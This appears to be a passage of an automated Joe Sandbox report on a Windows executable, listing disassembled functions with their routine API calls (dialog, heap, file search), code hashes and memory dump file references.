Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: f476d2bfd4726034d9589a57a35db9820aa07498a5a105237817cbeb34648ff6
Instruction ID: 02ecd6ea22298426a60d70e65d3be3ad028157dbc0d4012c26cacee36eaf13e9
Opcode Fuzzy Hash: f476d2bfd4726034d9589a57a35db9820aa07498a5a105237817cbeb34648ff6
Instruction Fuzzy Hash: 89119621E18A41E3E760AF26E4C0279B360FB44B64F944331EB3D522D5DF2CD496C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6215C Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D6A8AC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7F4D6A904
Part of subcall function 00007FF7F4D6A8AC: SetDlgItemTextW.USER32 ref: 00007FF7F4D6A973
Part of subcall function 00007FF7F4D6A8AC: GetWindowRect.USER32 ref: 00007FF7F4D6A9AD
Part of subcall function 00007FF7F4D6A8AC: GetClientRect.USER32 ref: 00007FF7F4D6A9BB

GetDlgItem.USER32 ref: 00007FF7F4D621AC
SetDlgItemTextW.USER32 ref: 00007FF7F4D621C8

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Item$RectText$ClientWindowswprintf
String ID:
API String ID: 402765569-0
Opcode ID: 7b1a7923946a01b82bc000e866a5e8131c4a3fcb45aa136cf21fa47d66a637f8
Instruction ID: 0c1f3843bec81895ab9723fc35822beaa8d349d7e21659096a1356ee704a5225
Opcode Fuzzy Hash: 7b1a7923946a01b82bc000e866a5e8131c4a3fcb45aa136cf21fa47d66a637f8
Instruction Fuzzy Hash: 2D015B10E0D64A93FB197F93E4842B8F391AF85740F880434CF6D066D99E2CA58987A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D85AA0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D85AD0

Part of subcall function 00007FF7F4D8670C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7F4D86715

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D85AD6

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: cb70070fe48f3c89f628de0cdadc618a77b9ee77caa0e306cad7b983c922d0b7
Instruction ID: 549a4d081f20caf16fbaeae48a86dd4f5345ce560b2e21a4d21f5c9fa43dfdc7
Opcode Fuzzy Hash: cb70070fe48f3c89f628de0cdadc618a77b9ee77caa0e306cad7b983c922d0b7
Instruction Fuzzy Hash: ADE0B610E1A10B4BFF583B6398E51B8A1446F19374FAC1B30DB3D052C2AD1CB45541F1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D90DDC Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF7F4D90DF2
GetLastError.KERNEL32 ref: 00007FF7F4D90E04

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: cb26b9ff4c5950cca95b314f348e089e992c2abfe0e8eb9b732e5839e685e898
Instruction ID: 0f2a693fdf4583f04e50de0a1ec869b89f6d55a230cc1dbd41a3fa02c8673eab
Opcode Fuzzy Hash: cb26b9ff4c5950cca95b314f348e089e992c2abfe0e8eb9b732e5839e685e898
Instruction Fuzzy Hash: 0CE01211E0A20B43FF5ABFB3EC85074B2906F58B41B844034CA2D862E2EE2CE49182E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D74A60 Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D74D35

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 7113b48dc831b58321a560a1d3291e807c508c5f25059263f6d99c50da7011ba
Instruction ID: 66d50a611a3a8e851d7f50514978192babbc10445e868b17c966a6db3cbb3aa9
Opcode Fuzzy Hash: 7113b48dc831b58321a560a1d3291e807c508c5f25059263f6d99c50da7011ba
Instruction Fuzzy Hash: 6C717161F2865247FB15EF66D8D42BDB261BF44794F904132DF3E426D9DE2CA48182A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D79A30 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D79CB4

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: bcc7c11c859e78f1b5b88835af9d939d58a18097feacef3591c313feb19c39b6
Instruction ID: 38716634ea6afa0bad149a02c212f23f5ded71aff52e3d9c8e3d3aa70e5dbd50
Opcode Fuzzy Hash: bcc7c11c859e78f1b5b88835af9d939d58a18097feacef3591c313feb19c39b6
Instruction Fuzzy Hash: 6E616862A1C68742FB64BF16E8D52F9B250FF84748FC04135DBAD426E5DE7CE48086A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6552C Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6569C

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: bb6be96383f52cb4f395b1f6a57cbcdd71ddf4027480ffb8bb20c215771626c5
Instruction ID: 045ccf2aee5326e5162afdb959995e6082cce403c2fffcf8865bce88735e6f28
Opcode Fuzzy Hash: bb6be96383f52cb4f395b1f6a57cbcdd71ddf4027480ffb8bb20c215771626c5
Instruction Fuzzy Hash: 3441E722A08E4A92FF10AF16E1E9379B361EB44BD4F841134DB6D077D9DE3DE480C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8F298 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7F4D8F2C0

Part of subcall function 00007FF7F4D8F450: GetModuleHandleExW.KERNEL32 ref: 00007FF7F4D8F470
Part of subcall function 00007FF7F4D8F450: GetProcAddress.KERNEL32 ref: 00007FF7F4D8F486
Part of subcall function 00007FF7F4D8F450: FreeLibrary.KERNEL32 ref: 00007FF7F4D8F4AB

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ab316d70244085b37f1a9f180ae9f1a0cc75e686617e67bb2301c98a3afcfc25
Instruction ID: 6ecefb6eea49641f35032fab7eb197e9ebb31070a0c2aaeff2be6e2b35f0db9d
Opcode Fuzzy Hash: ab316d70244085b37f1a9f180ae9f1a0cc75e686617e67bb2301c98a3afcfc25
Instruction Fuzzy Hash: 82417E31A1971683EB64BF17E8D0278B691BF84B40F95443ADB6D876D1EE3DE84183E0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D74EAC Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D66288: FindClose.KERNELBASE(?,?,?,00007FF7F4D6FF61), ref: 00007FF7F4D662BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D74FEB

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1011579015-0
Opcode ID: 8084b25f1ea539e219eb19b22c1d55518661bfadae279eb0865322abd73152ad
Instruction ID: 3413c5cc23fbe638b621f99b81ea15b6c6535f07a6827fe0bb99f3f5c14d1f84
Opcode Fuzzy Hash: 8084b25f1ea539e219eb19b22c1d55518661bfadae279eb0865322abd73152ad
Instruction Fuzzy Hash: B4314D21B19B8682EF15AF16E4D4379F391BF85790F804136DBAD07BD6CE2DE4408690

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D9469C Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D946D0

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 24a2bf5528e72f997332704ed263b4e8412e4d414351949a569fa1a370b6f0d0
Instruction ID: 80ade92b49e3cff7c7f8fe7e166d57a32433e9e85ae673a50fbe7d034b067429
Opcode Fuzzy Hash: 24a2bf5528e72f997332704ed263b4e8412e4d414351949a569fa1a370b6f0d0
Instruction Fuzzy Hash: 57113D3291D68683E720AF12E880579B6A4FB44384FD50534E7AD87BD6DF2CE8508BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8372C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D82BB4: GetDlgItem.USER32 ref: 00007FF7F4D82BF3
Part of subcall function 00007FF7F4D82BB4: ShowWindow.USER32 ref: 00007FF7F4D82C19
Part of subcall function 00007FF7F4D82BB4: IsDlgButtonChecked.USER32 ref: 00007FF7F4D82C2E
Part of subcall function 00007FF7F4D82BB4: IsDlgButtonChecked.USER32 ref: 00007FF7F4D82C46
Part of subcall function 00007FF7F4D82BB4: IsDlgButtonChecked.USER32 ref: 00007FF7F4D82C67
Part of subcall function 00007FF7F4D82BB4: IsDlgButtonChecked.USER32 ref: 00007FF7F4D82C83
Part of subcall function 00007FF7F4D82BB4: IsDlgButtonChecked.USER32 ref: 00007FF7F4D82CC6
Part of subcall function 00007FF7F4D82BB4: IsDlgButtonChecked.USER32 ref: 00007FF7F4D82CE4
Part of subcall function 00007FF7F4D82BB4: IsDlgButtonChecked.USER32 ref: 00007FF7F4D82CF8
Part of subcall function 00007FF7F4D82BB4: IsDlgButtonChecked.USER32 ref: 00007FF7F4D82D22
Part of subcall function 00007FF7F4D82BB4: IsDlgButtonChecked.USER32 ref: 00007FF7F4D82D3A

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D837C7

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ButtonChecked$ItemShowWindow_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4003826521-0
Opcode ID: 5633ed455daab252bf95a002069b8d4be86d7d94b94103d075be587ea0f21ea8
Instruction ID: ea343a2ef3fb314772cfdd9bb793d18b671661ac53aac37217b99f344d818163
Opcode Fuzzy Hash: 5633ed455daab252bf95a002069b8d4be86d7d94b94103d075be587ea0f21ea8
Instruction Fuzzy Hash: 9701A5A2A1568943EF14BB26D49637EB311FF89794F801731E7BC06BDADE2CE1408650

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D92E54 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF7F4D92EA9

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fdf7fba56cf0b327322f638254b73d498613de115c2495db529360746aa1fb94
Instruction ID: 7bb774a3daf52091bdd11e50dd2050a4cbb42719fd717440f7b2cd9289f70ed8
Opcode Fuzzy Hash: fdf7fba56cf0b327322f638254b73d498613de115c2495db529360746aa1fb94
Instruction Fuzzy Hash: A0F0E754B0960787FF55BE63EDD12B5B3946F88B80F8858358B2EC63D1EE2CE58142B4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D66288 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D6647C: FindFirstFileW.KERNELBASE ref: 00007FF7F4D664CB
Part of subcall function 00007FF7F4D6647C: FindFirstFileW.KERNELBASE ref: 00007FF7F4D6651E
Part of subcall function 00007FF7F4D6647C: GetLastError.KERNEL32 ref: 00007FF7F4D6656F

FindClose.KERNELBASE(?,?,?,00007FF7F4D6FF61), ref: 00007FF7F4D662BD

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 3b96e4bc9674b0bfe861db3a8d48e59cac22d33fe6a98766aeed1da261f7cc18
Instruction ID: c0cf74622f3e7a52c131ea54654bc0d0e94a0bca1ad78c3a892a1dbc18fccdcb
Opcode Fuzzy Hash: 3b96e4bc9674b0bfe861db3a8d48e59cac22d33fe6a98766aeed1da261f7cc18
Instruction Fuzzy Hash: 89F0F462908641D6EB10BF76E084178B7609F1ABB4F540335DB7C073CBCE18D484CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D90E1C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF7F4D90E5A

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3ac92b40718cceacc9b69195e34be5c37b2d5e73e97622ec344ecda480175592
Instruction ID: 4a622917e394fc4ddc03276362817047434b3690f868e5fa3da3c6636e805499
Opcode Fuzzy Hash: 3ac92b40718cceacc9b69195e34be5c37b2d5e73e97622ec344ecda480175592
Instruction Fuzzy Hash: 77F0D410B0924787FB667E63FD81675B2805F88BA0F8806349B7EC62C1DE2CE48182B4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D642D0 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF7F4D6427E), ref: 00007FF7F4D642F6

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9c850ec0e91a3c36dd67a082f4f7d32c48f886c19389c1b26b24c46edd12351b
Instruction ID: 40a6d5e793fbb47866d9cca252424f572258f0feae9108b54ff618e0c32bfa43
Opcode Fuzzy Hash: 9c850ec0e91a3c36dd67a082f4f7d32c48f886c19389c1b26b24c46edd12351b
Instruction Fuzzy Hash: 9DF0A422A48A46E6FF24DF26E481379B660EB04F79F895334D73C011D4DF28D8D583A4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D700AC Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32 ref: 00007FF7F4D83A6A

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: 0d82525fd53c5026d2e0a34595dcb8d2fac7aee2738dc896d465c8e25a7063b1
Instruction ID: 888352b280138e009982082ca56094ac0edc234bc9cdf0fd92ef6db6fb2f4ed7
Opcode Fuzzy Hash: 0d82525fd53c5026d2e0a34595dcb8d2fac7aee2738dc896d465c8e25a7063b1
